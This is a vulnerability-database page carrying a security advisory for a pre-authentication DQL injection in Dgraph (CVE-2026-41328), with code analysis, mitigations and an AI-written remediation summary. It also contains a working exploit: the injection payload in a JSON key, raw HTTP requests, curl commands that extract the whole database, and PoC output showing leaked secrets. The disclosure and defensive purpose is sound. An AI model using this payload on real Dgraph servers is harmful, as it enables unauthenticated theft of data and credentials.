Skip to main content

Dgraph EUVDEUVD-2026-25595

| CVE-2026-41328 CRITICAL
Improper Neutralization of Special Elements in Data Query Logic (CWE-943)
2026-04-24 https://github.com/dgraph-io/dgraph GHSA-x92x-px7w-4gx4
9.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
SUSE
CRITICAL
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

7
Patch released
Apr 28, 2026 - 18:31 nvd
Patch available
Patch available
Apr 24, 2026 - 20:17 EUVD
Re-analysis Queued
Apr 24, 2026 - 19:22 vuln.today
cvss_changed
Analysis Generated
Apr 24, 2026 - 16:16 vuln.today
EUVD ID Assigned
Apr 24, 2026 - 16:00 euvd
EUVD-2026-25595
Analysis Generated
Apr 24, 2026 - 16:00 vuln.today
CVE Published
Apr 24, 2026 - 15:41 nvd
CRITICAL 9.1

DescriptionGitHub Advisory

1. Executive Summary

A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.

The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with @unique @index(exact) @lang via /alter (also unauthenticated in default config). The second sends a crafted JSON mutation to /mutate?commitNow=true where a JSON key contains the predicate name followed by @ and a DQL injection payload in the language tag position.

The injection exploits the addQueryIfUnique function in edgraph/server.go, which constructs DQL queries using fmt.Sprintf with unsanitized predicateName that includes the raw pred.Lang value. The Lang field is extracted from JSON mutation keys by x.PredicateLang(), which splits on @, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the eq() function, adds an arbitrary named query block, and uses a # comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.

POC clip:

https://github.com/user-attachments/assets/bbfb7bba-c957-4b57-b534-48a958314186

2. CVSS Score

CVSS 3.1: 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MetricValueRationale
Attack VectorNetworkHTTP POST to port 8080
Attack ComplexityLowTwo requests, deterministic outcome, no special conditions
Privileges RequiredNoneNo authentication when ACL is disabled (default)
User InteractionNoneFully automated
ScopeUnchangedStays within the Dgraph data layer
ConfidentialityHighFull database exfiltration: all nodes, all predicates, all values
IntegrityHighThe mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter
AvailabilityNoneNo denial of service

3. Vulnerability Summary

FieldValue
TitlePre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique
TypeInjection
CWECWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
CVSS9.8

4. Target Information

FieldValue
ProjectDgraph
Repositoryhttps://github.com/dgraph-io/dgraph
Tested versionv25.3.0
Lang splitx/x.go line 919 (PredicateLang splits on @, returns everything after as Lang)
Lang assignmentchunker/json_parser.go line 524 (nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate))
Validation gapedgraph/server.go line 2142 (validateKeys checks nq.Predicate only, never nq.Lang)
Injection sinkedgraph/server.go line 1808 (fmt.Sprintf with predicateName containing raw pred.Lang)
predicateName buildedgraph/server.go line 1780 (fmt.Sprintf("%v@%v", predicateName, pred.Lang))
Auth bypass (query)edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil)
Auth bypass (mutate)edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil)
Response exfiltrationdgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json))
HTTP port8080 (default)
PrerequisiteA predicate with @unique @index(exact) @lang in the schema. The attacker can create this via unauthenticated /alter.

5. Test Environment

ComponentVersion / Details
Host OSmacOS (darwin 25.3.0)
Dgraphv25.3.0 via dgraph/dgraph:latest Docker image
Docker Compose1 Zero + 1 Alpha, default config, whitelist=0.0.0.0/0
Python3.x with requests
Networklocalhost (127.0.0.1)

6. Vulnerability Detail

Location: edgraph/server.go lines 1778-1808 (addQueryIfUnique) CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

The /mutate endpoint accepts JSON mutations. When a predicate has the @unique directive, the addQueryIfUnique function builds a DQL query to check whether the value already exists.

The JSON chunker at json_parser.go:524 splits mutation keys on @ via x.PredicateLang:

go
nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)

PredicateLang at x/x.go:919 splits on the last @ and returns everything after it as the Lang string with no validation:

go
func PredicateLang(s string) (string, string) {
    i := strings.LastIndex(s, "@")
    if i <= 0 {
        return s, ""
    }
    return s[0:i], s[i+1:]
}

validateKeys at server.go:2142 validates only nq.Predicate. It never touches nq.Lang:

go
func validateKeys(nq *api.NQuad) error {
    if err := validateKey(nq.Predicate); err != nil {
        return errors.Wrapf(err, "predicate %q", nq.Predicate)
    }
    for i := range nq.Facets {
        // ... validates facet keys ...
    }
    return nil  // nq.Lang is never checked
}

addQueryIfUnique at server.go:1778-1808 builds predicateName from the predicate and the raw Lang, then interpolates it into a DQL query via fmt.Sprintf:

go
predicateName := fmt.Sprintf("<%v>", pred.Predicate)
if pred.Lang != "" {
    predicateName = fmt.Sprintf("%v@%v", predicateName, pred.Lang)
}
// ...
query := fmt.Sprintf(`%v as var(func: eq(%v,"%v"))`, queryVar, predicateName, val[1:len(val)-1])

There is no escaping, no parameterization, no structural validation, and no character allowlist applied to pred.Lang anywhere between the HTTP input and the fmt.Sprintf query construction.

An attacker crafts a JSON mutation key:

name@en,"x")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } }
#

After PredicateLang splits on @:

  • Predicate = name (passes all validation)
  • Lang = en,"x")) leak(func: has(dgraph.type)) { ... } } # (never validated)

The constructed DQL becomes:

dql
{
  __dgraph_uniquecheck_0__ as var(func: eq(<name>@en,"x"))
  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key }
}

The # comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a var query (returns empty) and a named leak query that exfiltrates all data. The uniqueness check passes (no existing name@en equals "x"), so the mutation succeeds, and the injected query results are returned in data.queries.leak.

7. Full Chain Explanation

The attacker has no Dgraph credentials and no prior access to the server.

Step 1. The attacker creates the required schema via unauthenticated /alter:

POST /alter HTTP/1.1
Host: TARGET:8080

name: string @unique @index(exact) @lang .

No X-Dgraph-AccessToken header. In default configuration, /alter has no authentication when ACL is disabled.

Step 2. The attacker sends the injection payload:

POST /mutate?commitNow=true HTTP/1.1
Host: TARGET:8080
Content-Type: application/json

{
  "set": [{
    "uid": "_:inject",
    "name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #": "anything"
  }]
}

Step 3. mutationHandler at http.go:345 parses the JSON body. The key name@en,... is treated as predicate name with language tag en,"x")) leak(...) } } #.

Step 4. x.PredicateLang at x.go:919 splits the key on the last @. The Predicate is name. The Lang is the injection payload.

Step 5. validateKeys at server.go:2142 validates only nq.Predicate (name), which passes. nq.Lang is never checked.

Step 6. addQueryIfUnique at server.go:1778 constructs predicateName by appending the raw pred.Lang at line 1780. At line 1808, fmt.Sprintf interpolates this into the DQL query string.

Step 7. dql.ParseWithNeedVars parses the constructed DQL. It encounters the original var query and the injected leak query. Both are accepted as valid DQL.

Step 8. authorizeQuery at access.go:958 returns nil because AclSecretKey == nil (default). No predicate-level authorization is performed.

Step 9. processQuery executes both queries. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.

Step 10. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates.

8. Proof of Concept

Files

FilePurpose
report.mdThis vulnerability report
poc.pyExploit: sets up schema, seeds data, injects, prints leak
docker-compose.ymlSpins up a Dgraph cluster (1 Zero + 1 Alpha, default config)
DGraphPreAuthLangDQL.mp4Screen recording of the full attack from start to exfiltration

ZIP with all the relevant files: DGraphPreAuthDQLLang.zip

poc.py

The exploit performs three operations: (1) creates the @unique @index(exact) @lang schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.

Tested Output

$ python3 poc.py
[*] Target: http://localhost:8080
[*] LEAD_002: DQL Injection via NQuad Lang Field in addQueryIfUnique

[+] Schema created: name @unique @index(exact) @lang
[+] Seed data inserted (4 nodes with secrets)
[*] Sending injection payload to http://localhost:8080/mutate?commitNow=true
[+] SUCCESS: Exfiltrated 5 nodes via DQL injection!
============================================================
  UID: 0xf5fcd
  Type: ['dgraph.graphql']
  Name: N/A
  Email: N/A
----------------------------------------
  UID: 0xf5fce
  Type: ['Person']
  Name: Alice
  Email: alice@example.com
  SECRET: s3cr3t_alice
----------------------------------------
  UID: 0xf5fcf
  Type: ['Person']
  Name: Bob
  Email: bob@corp.com
  SECRET: bob_password_123
----------------------------------------
  UID: 0xf5fd0
  Type: ['Admin']
  Name: root
  Email: admin@internal
  SECRET: ADMIN_MASTER_KEY_DO_NOT_SHARE
----------------------------------------
  UID: 0xf5fd1
  Type: ['ServiceAccount']
  Name: prod-s3-backup
  Email: infra@corp.com
  AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
  AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
----------------------------------------
============================================================

[+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field
[+] Impact: Full database read access without authentication

9. Steps to Reproduce

Prerequisites

  • Python 3 with requests (pip install requests)
  • Docker and Docker Compose

Step 1: Start Dgraph

bash
cd LEAD_002_DQL_LANG
docker compose up -d

Wait for health:

bash
curl http://localhost:8080/health

Step 2: Run the exploit

bash
python3 poc.py

The PoC handles schema creation, data seeding, and exploitation automatically.

Step 3: Manual reproduction

To reproduce manually without the PoC script:

bash
# Set up schema
curl -s -X POST http://localhost:8080/alter -d '
name: string @unique @index(exact) @lang .
email: string @index(exact) .
secret: string .
aws_access_key_id: string .
aws_secret_access_key: string .
'
# Seed data
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[
    {"dgraph.type":"Person","name":"Alice","email":"alice@example.com","secret":"s3cr3t_alice"},
    {"dgraph.type":"Admin","name":"root","email":"admin@internal","secret":"ADMIN_MASTER_KEY"},
    {"dgraph.type":"ServiceAccount","name":"prod-s3-backup","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}
  ]}'
# Exploit: single request exfiltrates everything
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[{"uid":"_:x","name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #":"anything"}]}' \
  | python3 -m json.tool

What to verify

  1. HTTP POST returns 200 (endpoint is reachable without auth)
  2. Response contains data.queries.leak with an array of nodes
  3. The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means
  4. The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow

10. Mitigations and Patch

Location: edgraph/server.go, addQueryIfUnique (line 1778) and x/x.go, PredicateLang (line 919)

  1. Validate nq.Lang: Add validation in validateKeys (or a new validateLang function) that restricts the Lang field to BCP 47 language tags: ^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$. Reject any Lang value containing parentheses, braces, quotes, #, newlines, or other DQL-significant characters.
  2. Parameterize DQL queries: Replace the fmt.Sprintf query construction in addQueryIfUnique with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string.
  3. Escape at the sink: If parameterization is not immediately feasible, escape DQL-significant characters (), {, }, ", #, newlines) in both predicateName and val before interpolation at line 1808.
  4. Defense in depth: After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one var(...) block per unique predicate. Any additional blocks indicate injection.

AnalysisAI

Pre-authentication NoSQL injection in Dgraph allows remote unauthenticated attackers to exfiltrate entire databases and modify schemas via crafted JSON mutation keys. The vulnerability exploits unsanitized language tag fields in the addQueryIfUnique function, enabling DQL query injection through specially crafted HTTP POST requests to port 8080. Attackers can extract all database contents including credentials, secrets, and AWS keys with two HTTP requests against default configurations where ACL is disabled. CVSS 9.1 (Critical) with network vector, no authentication required, and low attack complexity. No public exploit code confirmed outside the GitHub advisory, though a complete proof-of-concept with video demonstration exists in the advisory. EPSS data not available for this recent CVE.

Technical ContextAI

Dgraph is a distributed graph database written in Go that uses DQL (Dgraph Query Language) for querying. The vulnerability resides in the JSON mutation parser chain: x.PredicateLang() splits mutation keys on '@' to extract predicate names and language tags per BCP 47 localization conventions, storing the suffix in nq.Lang without validation. When the @unique directive triggers uniqueness checks, addQueryIfUnique() in edgraph/server.go constructs DQL queries via fmt.Sprintf, directly interpolating the unsanitized nq.Lang field into query strings at line 1808. The CWE-943 injection occurs because validateKeys() at line 2142 only validates nq.Predicate, never touching nq.Lang. Attackers inject closing parentheses to escape the eq() function context, append arbitrary DQL query blocks, and use

comments to neutralize trailing template syntax. The injected queries execute server-side with full database privileges because authorizeQuery() returns nil when AclSecretKey is unset (default configuration). CPE strings indicate all v24 and v25 branches of github.com/dgraph-io/dgraph are affected.

RemediationAI

Enable ACL authentication immediately on all Dgraph instances to block unauthenticated access to /mutate and /alter endpoints-this is the primary defense. Dgraph documentation provides ACL setup instructions at https://dgraph.io/docs/enterprise-features/access-control-lists/. Network segmentation: restrict access to port 8080 to trusted IP ranges only via firewall rules or security groups; deny public internet access. Monitor for vendor patch release addressing the underlying input validation gap in x.PredicateLang() and addQueryIfUnique() functions. When patch becomes available, apply to all instances running v24.x or v25.x branches. As interim compensating control, implement reverse proxy with request inspection to block mutation keys containing DQL-significant characters in language tag positions (parentheses, braces, quotes, hash symbols). Note this workaround may break legitimate multi-language use cases if applications use non-standard language tag formats. Audit existing Dgraph query logs for suspicious /mutate requests with complex @ suffixes to detect potential prior exploitation. The trade-off of enabling ACL is administrative overhead of credential management, but this is unavoidable for production databases handling sensitive data.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2026-53576 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution in Kestra orchestration platform before 1.0.45 and 1.3.21 lets anonymous attackers

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

EUVD-2026-25595 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy